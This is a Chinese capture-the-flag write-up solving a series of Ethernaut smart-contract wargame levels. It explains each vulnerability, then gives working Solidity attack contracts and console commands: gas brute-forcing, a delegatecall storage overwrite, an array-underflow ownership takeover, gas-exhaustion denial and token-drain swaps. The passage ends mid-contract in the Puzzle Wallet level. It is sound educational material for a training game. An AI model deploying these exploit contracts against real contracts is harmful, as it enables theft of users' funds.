Ethernaut题解2022版(下)
2022-5-12 23:54:9 Author: xz.aliyun.com(查看原文) 阅读量:43 收藏

Ethernaut题解2022版(上)链接

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

合约意图很明显,就是让我们通过gateOnegateTwogateThree三个函数修饰器的检查,执行enter函数即可。分别分析一下通过的条件。

13.1 gateOne

对gateOne来说,msg.sender是直接调用合约的地址,而tx.origin则是这笔交易的原始调用者,举个例子,如果有合约A、B、C、D,一次合约调用是D->B->A->C,那么对于C来说,msg.sender是A,tx.origin是D。因此只需要在外部设置一个中间合约,再依次对enter函数发起调用即可满足msg.sender != tx.origin

13.2 gateTwo

查询官方文档可知,gasleft函数返回的是交易剩余的gas量,这个检查的条件是让gasleft为8191的整数倍。我们只需要设置gas为8191*n+x即可,其中x是我们本次交易需要消耗的gas,这个值可以通过debug得到,然后通过call方式远程调用函数可以指定需要消耗的gas,只需指定gas为对应的x即可。

这个bypass属实坐牢,因为要通过debug方式获得题目对应消耗的gas的话,必须跟题目使用相同的编译器版本和对应的优化选项,然而并不知道题目版本。

还有另一种思路,就是爆破x,因为gas消耗总归是有个范围的,我们只需要在这个范围内爆破即可,见下面的攻击代码。

13.3 gateThree

这个主要考察了solidity的类型转换规则,参考链接

这里以_gateKey0x12345678deadbeef为例说明

  • uint32(uint64(_gateKey))转换后会取低位,所以变成0xdeadbeefuint16(uint64(_gateKey))同理会变成0xbeef,uint16和uint32在比较的时候,较小的类型uint16会在左边填充0,也就是会变成0x0000beef和0xdeadbeef做比较,因此想通过第一个require只需要找一个形为0x????????0000????这种形式的值即可,其中?是任取值。
  • 第二步要求双方不相等,只需高4个字节中任有一个bit不为0即可
  • 通过前面可知,uint32(uint64(_gateKey))应该是类似0x0000beef这种形式,所以只需要让最低的2个byte和tx.origin地址最低的2个byte相同即可,也就是,key的最低2个字节设置为合约地址的低2个字节。这里tx.origin就是metamask的账户地址

13.4 exploit

于是写出最终攻击代码如下,其中gas爆破部分参考这个:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface GatekeeperOne {
    function entrant() external returns (address);
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attack {
    GatekeeperOne gatekeeperOne;
    address target;
    address entrant;

    event log(bool);
    event logaddr(address);

    constructor(address _addr) public {
        // 设置为题目地址
        target = _addr;
    }

    function exploit() public {
        // 后四位是metamask上账户地址的低2个字节
        bytes8 key=0xAAAAAAAA00004261;
        bool result;
        for (uint256 i = 0; i < 120; i++) {
            (bool result, bytes memory data) = address(
                target
            ).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
            if (result) {
                break;
            }
        }
        emit log(uint32(uint64(key)) == uint16(uint64(key)));
        emit log(uint32(uint64(key)) != uint64(key));
        emit log(uint32(uint64(key)) == uint16((address(tx.origin))));
        emit log(result);
    }

    function getentrant() public {
        gatekeeperOne = GatekeeperOne(target);
        entrant = gatekeeperOne.entrant();
        emit logaddr(entrant);
    }
}

执行exploit后执行getentrant函数查看进入者地址,可以通过日志看到已经改变为我们的地址,提交即可

这个题算是第一个真正有点意思的。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
  • gateOne同上,部署一个合约即可绕过
  • gateTwo涉及到以太坊的汇编,其中caller()函数返回call sender,也就是call的发起者,而extcodesize则是返回对应地址的合约代码的大小(size),如果extcodesize的参数是用户地址则会返回0,是合约地址则返回了调用合约的代码大小。关于这点,需要使用一个特性绕过:当合约正在执行构造函数constructor并部署时,其extcodesize为0。换句话说,如果我们在constructor中调用这个函数的话,那么extcodesize(caller())返回0,因此可以绕过检查。
  • gateThree,一个简单的异或,我们只需要改msg.senderaddress(this)即可计算得到满足条件的key

攻击代码如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract attack {
    address public target;
    bytes8 key;

    constructor(address _addr) public {
        target=_addr;
        key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0)-1));
        (bool result,)=target.call(abi.encodeWithSignature("enter(bytes8)",key));
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }

  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

这个题注意一点,现在import里面那个合约会提示版本不对,因为现在ERC20.sol已经更新到v0.8.0了,通过查历史发现v3.2.0版本还支持0.6.0编译器,因此可以修改一下导入的ERC20合约的地址

根据构造代码可以看到,题目一开始将该代币中所有的token都转移给了我们的账户,通关的要求就是我们把手里的代币全部转给另外一个。但题目对erc20的转账函数transfer做了限制,player只有10年后才能转账,因此需要绕过。

这里很简单,因为localTokens只限制了transfer函数的msg.sender不能为player,但在限制erc20标准中还有另一个转账函数transferFrom,其函数原型如下:

function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

但注意一点是,在转账前需要先使用approve函数授权,然后再调用此函数转账即可。代码很简单,在题目控制台执行

//secondaddr是另外一个账户地址
secondaddr='0xCB3D2F536f533869f726F0A3eA2907CAA67DDca1'
totalvalue='1000000000000000000000000'
//给自己授权
await contract.approve(player,totalvalue)
await contract.transferFrom(player,secondaddr,totalvalue)

这个题目总结起来就是以下两点:

  • erc20合约标准中有2个转账函数,如果只对其中一个做限制我们可以使用另一个绕过
  • 转账需要授权。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

本题的关键点在于delegatecalldelegatecall具体用法可以看第6题题解。它的功能相当于我们切换到执行地址的上下文环境中去执行函数。而这里2个函数中的delegatecall调用的都是setTime这个函数,可以看到这个函数的作用是修改其storage方式存储的第一个变量storedTime

首先,分别画一下两个合约中storage变量存储空间图,对于Preservation合约,其有4个变量,变量分布情况如下:

===================================================
    unused       |                timeZone1Library
---------------------------------------------------         slot 0
    12 bytes     |                20 bytes
===================================================
    unused       |                timeZone2Library
---------------------------------------------------         slot 1
    12 bytes     |                20 bytes
===================================================
    unused       |                owner
---------------------------------------------------         slot 2
    12 bytes     |                20 bytes
===================================================
                storedTime
---------------------------------------------------         slot 3
                32 bytes
===================================================

而对于LibraryContract合约,如下:

===================================================
                storedTime
---------------------------------------------------         slot 0
                32 bytes
===================================================

除此之外,还需要说明一点:经过多次调试发现,当该合约初始化时,Preservation的slot 0上(也就是timeZone1Library变量)存储的是Preservation合约的地址,而slot 1(也就是timeZone2Library)上存储的是LibraryContract合约的地址,slot 2上存的owner地址,我们的最终目的就是修改slot 2上的地址为我们的地址。

由于上述存储关系,当我们调用setFirstTime函数时,实际上是在Preservation合约内部调用setTime函数,那么此时修改的storage存储上的第一个变量实际上是timeZone1Library所在的slot 0,利用这一点,我们可以任意写timeZone1Library对应的地址。如果将timeZone1Library的地址写成我们部署的恶意合约地址,并在恶意合约内写一个setTime函数,当执行timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));时就会调用到我们恶意合约内部的setTime函数,那么就可以实现合约的任意代码执行。具体操作如下:

  1. 编写如下合约并部署,这里只要保证owner占据slot 2的低20个字节即可。

    pragma solidity ^0.6.0;
    
     contract attack{
         address public timeZone1Library;
         address public timeZone2Library;
         address public owner; 
    
         function setTime(uint256 a) public {
             owner = address(a);
         }
     }
  2. 执行await contract.setFirstTime('0xFB729c0f52FB99EFCDF135B35B614FE7097Dcc5D');,其中0xFB729c0f52FB99EFCDF135B35B614FE7097Dcc5D换成你对应部署的恶意合约地址,通过这一步,修改timeZone1Library为恶意合约的地址

  3. 然后执行await contract.setFirstTime('0x8837D23b683529152E334F64924bCE82477A4261');,这里括号内的是metamask的钱包地址,完成篡改。

这里setSecondTime函数实际上修改的是LibraryContract中的变量,感觉没什么用。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);

  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

这个题创建者利用Recovery合约创建了一个SimpleToken合约吗,题目目的是让我们找到失去的合约地址,比较简单。

首先在https://rinkeby.etherscan.io/搜索一下创建的Recovery合约对应的地址,譬如我这里是0xe04C212cf49E9fBf4D9eAB0b9570c4A152031Ca1,查看该合约的Internal Txns,可以发现有三条记录,其中最近一条,就是创建的SimpleToken合约的地址

点开后可以得到对应合约的地址,我这里是0x2b62a7805C6CAfb5585c66E9C86a47d8a4008166,然后直接针对这个合约调用destory函数即可,代码如下,其中target设置为上面找到的合约地址,myaddr设置为metamask钱包账户地址。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract attack {
    address payable target;
    address payable myaddr;

    constructor(address payable _addr, address payable _myaddr) public {
        target=_addr;
        myaddr=_myaddr;
    }

    function exploit() public{
        target.call(abi.encodeWithSignature("destroy(address)",myaddr));
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

  address public solver;

  constructor() public {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}

题目要求我们给出一个合约地址,该合约需要返回whatIsTheMeaningOfLife()的正确数字,查了一下这个对应的数字是42。除此之外,本题还有一个要求,就是合约必须只能有10个操作码,因此我们必须使用字节码手动编写一个程序,参考https://www.ethervm.io/。按照这个思路,我们构造一下对应字节码:

  1. 首先需要构造runtime opcode运行时代码,也就是构造一下返回42的逻辑。最后一条命令一定是RETURN,而RETURN指令返回时,statck[0](即栈顶)对应的数字是offset,statck[1]是length,其最终返回的是memory[offset:offset+length],因此我们首先需要把返回值42存到memory中,对应代码如下:
偏移    指令对应字节               实际汇编指令
0000    60                 PUSH1 0x2a
0002    60                 PUSH1 0x50
0004    52                 mstore
0007    60                 PUSH1 0x20
0009    60                 PUSH1 0x50
000B    F3                 RETURN

上述汇编代码对应字节序列是602a60505260206050f3正好10个opcode,也是正好10个字节。这里offset最好设置的大一点,比如设置为0x50,具体原因在下面解释。

  1. 构造完成后,还需要在上述代码前面加上初始化代码,初始化代码的作用是将我们上面的构造的运行时代码复制到memory中,然后再RETURN否则无法直接运行。复制代码利用CODECOPY指令

于是,我们考虑首先push这3个变量

偏移    指令对应字节   实际汇编指令
0000    60            PUSH1 0x0a
0002    60            PUSH1 0x0c
0004    60            PUSH1 0x00
0006    39            CODECOPY
0007    60            PUSH1 0x0a
0009    60            PUSH1 0x00
000B    F3            RETURN

第一步PUSH1 0x0a对应的是length变量,因为我们上面构造的opcode序列长度为10。第二步PUSH1 0x0c是因为,初始化代码的长度为0xB,也就是运行时代码的字节码是从0xc偏移开始的,因此offset为0xc。第三步PUSH1 0是指定将我们的代码复制到memory的slot 0处。前4条指令,完成了将0xC到0x16这10个字节复制到memory的0x00到0xA位置处的任务

这里就可以解释,为什么上面我们我们需要把0x2a复制到一个比较大的offset 0x50上,因为低位被我们用来存储运行时代码对应的字节了,当然如果你把运行时代码放到高位,0x2a放到低位也可以。

后3条指令,就是return memory[0:0xa],也就是返回到我们刚才复制到memory中的运行时指令处,下面接第1部分我们写的代码即可运行。

  1. 所以总的汇编代码如下:
偏移    指令对应字节   实际汇编指令
0000    60            PUSH1 0x0a
0002    60            PUSH1 0x0c
0004    60            PUSH1 0x00
0006    39            CODECOPY
0007    60            PUSH1 0x0a
0009    60            PUSH1 0x00
000B    F3            RETURN
000C    60            PUSH1 0x2a
000E    60            PUSH1 0x50
0010    52            MSTORE
0011    60            PUSH1 0x20
0013    60            PUSH1 0x50
0015    F3            RETURN

上述字节码对应序列600a600c600039600a6000f3602a60505260206050f3,利用web3部署即可。

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

又到了我最喜欢的内存布局题目了。

注意开头引入了一个Ownable合约,可以看https://github.com/OpenZeppelin/openzeppelin-test-helpers/blob/master/contracts/Ownable.sol。这个合约中存在一个`_owner`变量,是address类型,占用20个字节,于是`contact`和其放到slot0中,而slot1则存放`codex.length`。本题的目标是我们要获取合约的控制权,也就是覆写slot 0的低20个字节为我们的地址。

查看一下初始状态,由于还没有往数组里写东西,所以slot 1为0。整体思路就是,通过record函数往动态数组里写东西,覆盖slot 0的低20个字节位我们的地址。具体过程如下:

  1. slot 1初始值是0,如果我们调用一下retract函数让其减1呢?

这里的内容就变成了$2^{256}-1$,slodity对动态数组的长度这里并没有溢出检查,因此减1即可完成下溢。

  1. 计算一下数组第一个元素的存储位置keccack256(1)=0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,于是用$2^{256}-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6$得到的就是slot 0 和codex数组的首地址的偏移
  2. 通过revise函数设置对应偏移,即contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a','0x0000000000000000000000018837D23b683529152E334F64924bCE82477A4261'),覆写slot 0,完成题目,这里低20个字节是你的账户地址。

总体来说,这个题目就是考察动态数组的内存布局+简单的整数溢出。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这关的目标就是当owner取款时,我们如果能成功阻止owner.transfer这个行为,让合约仍有余额,并且交易的gas为1M或者更少,那么就可以通过本关。

本题代码的主要漏洞在于,partner.call在调用call函数时没有检查返回值,也没有指定gas,这就导致如果外部调用是一个gas消耗很高的操作的话,就会使得整个交易出现out of gas的错误,从而revert,也自然不会执行owner.transfer操作。

这个消耗极高的操作有两种实现思路,一种是我们可以通过一个循环,来不断消耗gas,从而达到耗尽gas的目的。另外一种方式是,可以使用assert函数,这个函数和require比较像,用来做条件检查,assert的特点是当参数为false时,会消耗掉所有的gas。

如果是第一种思路,可以这么写

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Attack {
    address public target;
    constructor(address payable _addr)public payable{
        target=_addr;
        target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
    }

    fallback() payable external {
        while(true){
        }
    }
}

第二种思路就这么写,只需要改一下fallback函数这

pragma solidity ^0.6.0;

contract attack {

    address public target;

    constructor(address _addr) public payable {
        target=_addr;
        target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
    }

    fallback() external payable {
        assert(false);
    }
}

提交instance后查看我们部署的合约地址,可以看到题目合约的withdraw操作发生了out of gas错误,由于需要耗尽gas,所有需要等待一段时间才可以看到结果。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

这个题的要求是让我们以少于所需price的值完成购买,可以看到buy函数内部的逻辑和第11关差不多,唯一的区别在于这里的price函数是一个有view属性的函数。查阅solidity的文档可知,有view属性的函数意味着它们不能修改状态,所谓修改状态,是指以下8种情况:

  1. 写状态变量
  2. 触发事件(emit events)
  3. 创建其他合约
  4. 使用selfdestruct
  5. 通过call发送以太币
  6. 使用call调用任何没有被标记为view或者pure的函数
  7. 使用低级的call
  8. 使用包含opcode的内联汇编

因此我们不能使用像第11关那样,使用一个状态变量来标记price函数是不是第一次被调用了。幸好这里给了一个isSold变量,在第一次调用price函数时,这个变量为false,而第二次为true,利用这一点,我们可以完成判断返回。但是由于view函数不允许低级的call,所以我们无法使用call调用isSold函数,但solidity有一个staticcall不会改变状态,并且可以在view函数内部使用,替代一下即可。代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


contract Buyer {
    address public target;

    constructor(address _addr) public{
        target=_addr;
    }

    function exploit() public  {
        bool b;
        (b,)=target.call{gas:100000}(abi.encodeWithSignature("buy()"));
        require(b);
    }

    function price() external view returns (uint result){
        bytes memory r;
        (,r)=target.staticcall(abi.encodeWithSignature("isSold()"));
        if(uint8(r[31])==0){
            result=1000;
        }else{
            result=1;
        }
        return result;
    }
}

设置target为题目合约地址,然后执行exploit函数即可。如果出现out of gas可能需要在部署时调大gas limit。

这里说明比较特殊的一点,就是这个uint8(r[31])。因为calldelegatecallstaticcall返回的内容实际上都是bytes memory,而根据题目合约我们知道,这个isSold是一个bool类型的值,为了进行判断我们需要将bytes动态数组转化为对应bool值。比如说,如果bool值为true,它对应的bytes数组实际上是0x0000000000000000000000000000000000000000000000000000000000000001,是一个32字节连续的数组。而我们取数组下标时,实际上是从高位开始取的,也就是说,r[0]是0x00,r[1]也是0x00,直到r[31]才是0x01,而在解析成bool值和数字时,我们又是从低位开始的,所以这里转化的时候我取了r[31]和0做比较,如果为0,说明isSold是false,也就是第一次访问,否则是第二次访问。

当然关于bytes -> bool / uint,还有其他很多种方式。比如我看有的wp是用opcode加载内存上的值来比较,有兴趣可以看这篇,我这里选择直接调用staticcall,相对简单一点。还有一种方式是通过合约继承,可以参考这篇,这里不再赘述。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract Dex  {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor(address _token1, address _token2) public {
    token1 = _token1;
    token2 = _token2;
  }

  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swap_amount = get_swap_price(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swap_amount);
    IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
  }

  function add_liquidity(address token_address, uint amount) public{
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function get_swap_price(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(spender, amount);
    SwappableToken(token2).approve(spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}

本题定义了一个用来交换货币的合约,其中token1和token2都是SwappableToken类型的一种erc20代币,这两个的地址在初始化实例时就确定了。题目初始状态,player拥有这两种代币的数量为10,而合约拥有数量为100,我们的最终目的是,将合约中某种代币的数量清0,也就是让合约拥有的token1或者token2代币的数量为0。

本题的漏洞点在于,在计算每次交换的代币数量时,get_swap_price函数内部使用了除法,而在接收这个结果的这一句,swap_amount定义为uint256类型,由于除法可能产生小数,小数转整型不可避免地存在精度缺失问题,导致了在交换过程中我们可以获取更多代币,从而达到清空题目合约拥有代币数的目的。下面说具体做法

在开始之前,先把player和合约账户给approve一下,方便后面转账

await contract.approve(player,1000)
await contract.approve(contract.address,1000)

接下来就是一个循环转账的过程,思路就是每一次都将我们当前拥有的代币全部交换,首先需要通过await contract.token1()await contract.token2()获取token1和token2的地址,这里我直接赋值给了变量

token1 = (await contract.token1())
token2 = (await contract.token2())
//第一次交换
await contract.swap(token1,token2,10)
//第二次交换
await contract.swap(token2,token1,20)
//第三次交换
await contract.swap(token1,token2,24)
//第四次交换
await contract.swap(token2,token1,30)
//第五次交换
await contract.swap(token1,token2,41)
//第六次交换,注意这里是45就正好,多了会超过最大值报错
await contract.swap(token2,token1,45)

中间可以使用如下命令获取不同地址对应不同token的余额

(await contract.balanceOf(token1,player)).words[0]
(await contract.balanceOf(token2,player)).words[0]
(await contract.balanceOf(token1,contract.address)).words[0]
(await contract.balanceOf(token2,contract.address)).words[0]

整个过程token的变化如上图所示,简单用excel写了一下。

总结一下,本题考察类型转换时的精度缺失问题利用这个问题左脚踩右脚上天

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract DexTwo  {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor(address _token1, address _token2) public {
    token1 = _token1;
    token2 = _token2;
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swap_amount = get_swap_amount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swap_amount);
    IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
  }

  function add_liquidity(address token_address, uint amount) public{
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function get_swap_amount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(spender, amount);
    SwappableTokenTwo(token2).approve(spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}

Dex two版本的题目跟上一题相比,去掉了require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");这一行,同时题目要求也变成要求我们让合约的2种token拥有数量都清0,思路就很清晰了,我们可以再写一个token,然后将合约中的token,全部转移到我们的第三方token中即可。

首先我们需要部署两个用来恶意转账的中间token合约,他们的代码是一样的

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";

contract Mytoken is ERC20 {
    address public target;
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}

这里在初始化的时候,设置initialSupply为200,也就是让我们初始拥有200个恶意token。然后approve题目地址,并转给题目地址100个token,这样我们和题目合约初始情况下各拥有100个恶意合约的token。这里我直接复用上个题的前半部分

然后执行如下代码即可

await contract.approve(player,1000)
await contract.approve(contract.address,1000)
token1 = (await contract.token1())
token2 = (await contract.token2())

// mytoken1和mytoken2分别对应2个部署的恶意合约的地址
mytoken1 = '0x3f4082b2CB234C9AA8a07aA155c490F30C3a1efC'
mytoken2 = '0xe1f59E568302978f628500096e87A2763F6d1D5f'
await contract.swap(mytoken1,token1,100)
await contract.swap(mytoken2,token2,100)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
